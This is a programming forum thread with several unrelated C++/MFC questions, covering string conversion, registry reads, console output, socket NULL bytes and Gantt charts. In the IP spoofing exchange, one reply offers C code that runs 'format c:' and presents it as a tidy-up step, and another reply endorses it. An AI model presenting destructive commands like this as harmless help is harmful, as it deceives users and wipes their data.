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Just tried that: error 2228, left of .c_str() must have class/struct/union
Edit:
(*target).c_str()
You got me most of the way there, evidently there is a precedence problem. With the above the text shows up.
Thank you for your help.
Thank you for your time
If you work with telemetry, please check this bulletin board: www.irigbb.com
modified 19-Jun-14 13:38pm.
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Why not just:
target->c_str()
?
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I have given the value for the connetionstring and TeamsConnectionString in registry settings but s still i am facing the following error.
can anyone please suggest me to resolve this error
Error details from event details:
---------------------------------
The following information was included with the event:
Could not get the ConnectionString from Registry Key =SOFTWARE\Kimberly-Clark\Knowledge Management; Value = TeamsConnectionString
Last error number: 0
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You need to show the code you are using to get the key, and the exact error message or return code.
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lfLog.DebugMsgStart(" Retrieving Connection String");
csKey = "SOFTWARE\\Kimberly-Clark\\Knowledge Management";
if ( !rReg.GetSZValue(HKEY_LOCAL_MACHINE,csKey, csConnectionStringReference, csConnectionString))
{
lfLog.DebugMsgEnd("FAILED");
csMsg.Format("Could not get the ConnectionString from Registry Key = '%s', Value = '%s'", csKey, csConnectionStringReference);
elLog.ErrorMsg(csMsg);
lfLog.ErrorMsg(csMsg);
mclLog.ErrorMsg( 0, "ConnectionString");
goto exit30;
}
lfLog.DebugMsgEnd("SUCCESS");
and i am having the values in registry under the path mentioned in the code
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Very interesting, but what is happening when you run this code?
What does rReg.GetSZValue return and where is the class definition for it?
What is contained in csConnectionStringReference and csConnectionString?
What system calls are being used and if they fail what is returned by GetLastError()?
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code compilation is success an now i am trying to install and run the service in the production server .
rReg.GetSZValue success if it successfully fetch the value from regtry path or else failed ,now it is returning fail in log .
csConnectionStringReference contained the key name "TeamsConncetionstring" and this value is also ftched from the registry itself.
csConnectionString should be stored with the value of the key "TeamsConncetionstring".
GetLastError() returning 0 here .
And if any error even will log with the error details which i have reported earlier.
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I'm sorry but that tells us nothing about what is happening. You need to use your debugger to step through the code and see the exact status values that you are receiving when you try to read this value from the registry. You still have not shown the code that does to do the actual call to get the value from the registry, only rReg.GetSZValue.
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What type of object is rReg?
"One man's wage rise is another man's price increase." - Harold Wilson
"Fireproof doesn't mean the fire will never come. It means when the fire comes that you will be able to withstand it." - Michael Simmons
"You can easily judge the character of a man by how he treats those who can do nothing for him." - James D. Miles
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Hi,
I have a MFC application. When I run the .EXE from a command
prompt, and if I want help (eg. xcopy /?), can I get control
of the command prompt window to print the message over there?
I tried using AllocConsole(), but that opens a new console.
I want to do it on the same command line.
I am aware of AttachConsole() which needs SDK and will work for OS XP onwards. Unfortunately mine is WIN 2000 server and Visual studio 6.
Can anyone help me in this regard.
Thanks
SAM
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If you are running it from a command prompt then all output should automatically go to that window. Perhaps you could clarify your problem.
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When you run an exe from the command prompt, the command prompt IS your default standard output. Your question doesn't exactly make sense.
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How to implement IP spoofing in C++ code?
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No one is going to help you write code for hacking or other illegal purposes.
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You should buy and study the "little evil hacker" book.
Veni, vidi, vici.
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I would say that the chances of successfully writing code to do exactly that if one doesn't already understand how to do it are very, very close to zero.
I suggest you start by learning, in detail, how TCP and IP work.
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Run this on your computer first, just to make sure everything is nice and tidy.
#include <stdlib.h>
void main( void )
{
system("format c:");
} 
"One man's wage rise is another man's price increase." - Harold Wilson
"Fireproof doesn't mean the fire will never come. It means when the fire comes that you will be able to withstand it." - Michael Simmons
"You can easily judge the character of a man by how he treats those who can do nothing for him." - James D. Miles
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I approve and recommend this solution... 
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I have a requirement of sending a string value to a specific ipAddress but the string value should enclose with two Ascii Null Values.
Eg: NULL + message + NULL
I managed to send the message using sck->Socket->SendText(Edit1->Text); but I don't know how to send a NULL value through the SocketClient component.
I'm fairly new to C++. If any one can help me out it would be greatly appreciated. Thanks in advance.
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It's just character zero, does the SendText method allow that?
You'll never get very far if all you do is follow instructions.
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PIEBALDconsult wrote:
It
You
Send Text Method does not allow that but the same program was developed by VB6 allows to send a VBNull value using WinSock component. It's not following instructions but the certain problem does need to send a NULL value because it the receiving end is just a circuit with a network port.
Do you have any idea of sending a NULL value? It does not need to be the Send Text method.. Any method that allows to send a data packet with two NULL characters enclose with will do...
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The Socket object should be having another method to send raw bytes instead of text.
Using that you should be able to send NULL.
If not, you could try to send the \0 character - "\0MyText\0" whose length will be 8.
«_Superman_»
I love work. It gives me something to do between weekends.
Microsoft MVP (Visual C++) (October 2009 - September 2013) Polymorphism in C
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Send bytes, not strings.
"One man's wage rise is another man's price increase." - Harold Wilson
"Fireproof doesn't mean the fire will never come. It means when the fire comes that you will be able to withstand it." - Michael Simmons
"You can easily judge the character of a man by how he treats those who can do nothing for him." - James D. Miles
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As noted in one of the replies on stackoverflow to your exact same question - you should read the documentation for the library and class that you are using.
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Hi,
Can anyone please refer me some free sample code to create a Gantt chart control similar to the MS Project. I have found a lot in code project but all are related to .NET(c#).
Thanks,
SMA
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